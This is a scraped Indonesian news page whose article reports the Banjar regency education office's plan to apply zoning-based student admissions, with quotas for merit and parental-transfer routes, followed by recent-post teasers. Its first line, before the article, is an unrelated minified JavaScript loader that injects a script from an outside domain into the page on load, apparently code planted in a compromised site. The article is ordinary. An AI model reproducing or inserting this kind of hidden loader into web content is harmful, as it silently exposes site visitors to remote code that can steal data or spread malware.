(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Disdik Banjar Berwacana Lakukan Sistem Penerimaan Zona Siswa Baru


MARTAPURA, Dinas Pendidikan (Disdik) Kabupaten Banjar berencana memberlakukan sistem zonasi untuk semua tingkatan sekolah. Mulai dari Sekolah Dasar (SD) hingga SMA/sederajat pada saat Penerimaan Peserta Didik Baru (PPDB).

Hal tersebut ditegaskan Kepala Disdik Kabupaten Banjar, Maidi Armansyah, Jumat (8/2).  “Mulai tahun ini kita akan lakukan system zonasi untuk PPDB, jadi kalau memang regulasi mewajibkan zonasi. Kami akan ikuti dan salah satu strateginya adalah gencar melakukan sosialisasi kepada pihak terkait,” akunya.

Lebih jauh Maidi mengatakan adapun sistem zonasi PPDB ini sesuai Permendikbud Nomor 51 tahun 2018, untuk semua tingkatan. Sementara yang menjadi pertimbangan dalam penerapan sistem zonasi adalah tergantung jarak dan jumlah murid di sekolah terdekat, yakni paling sedikit 90 persen dari daya tampung sekolah tersebut.

Namun dalam Permendikbud juga disebutkan bahwa pendaftaran PPDB dilaksanakan selain zonasi juga bisa diatur dalam jalur prestasi dan perpindahan tugas orangtua atau wali. Untuk PPDB jalur prestasi paling banyak lima persen dari daya tampung sekolah, begitu pula untuk jalur perpindahan tugas orangtua atau wali murid paling banyak lima persen dari daya tampung sekolah.

Selanjutnya bagi calon peserta didik hanya dapat memilih satu jalur dari tiga jalur pendaftaran PPDB. Pendaftaran PPDB melalui jalur zonasi ini sesuai dengan domisili dalam zonasi yang sudah ditetapkan, namun calon perserta didik dapat melakukan pendaftaran PPDB melalui jalur prestasi di luar zonasi domisili peserta didik.

“Bagi para orangtua murid, kebijakan zonasi menjadi salah satu pertimbangan bagi para orangtua dalam memilih sekolah bagi anak-anaknya. Kebijakan zonasi diharapkan menjadi strategi dalam bidang pendidikan dalam rangka meningkatkan pemerataan kualitas pendidikan,” jelas Maidi.

Pihaknya mengharapkan, kebijakan ini dapat memutus ketimpangan kualitas pendidikan yang terjadi di berbagai sekolah khususnya Kabupaten Banjar. Sebisa mungkin dapat memutus sekat sekolah favorit dan sekolah pinggiran.

“Tipsnya, mencari informasi kepada pihak-pihqk terkait utamanya dinas pendidikan atau sekolah-sekolah terdekat,” pungkasnya. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Pemkab Kapuas Salurkan Bantuan Kemanusiaan Lewat APKASI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More

4 jam ago

New CRETA Alpha Resmi Mengaspal, Hyundai Tawarkan Value Kompetitif

KANALKALIMANTAN.COM, JAKARTA — PT Hyundai Motors Indonesia (HMID) memulai gebrakan di awal tahun dengan meluncurkan… Read More

7 jam ago

Pemkab Banjar Buka Call Center untuk Koordinasi Lintas Sektor Penanganan Banjir

KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (Dinsos… Read More

12 jam ago

Gubernur Muhidin Melantik 11 Pejabat, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H Muhidin melantik 11 pejabat pimpinan tinggi pratama lingkup… Read More

15 jam ago

Hadiri Rapat Paripurna, Wabup Dodo : Sinergi DPRD dengan Pemerintah Daerah

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III… Read More

16 jam ago

Tidur Bertahan Hidup di Atas Apar-Apar, Banjir Kabupaten Banjar Meluas

KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar,… Read More

17 jam ago

This website uses cookies.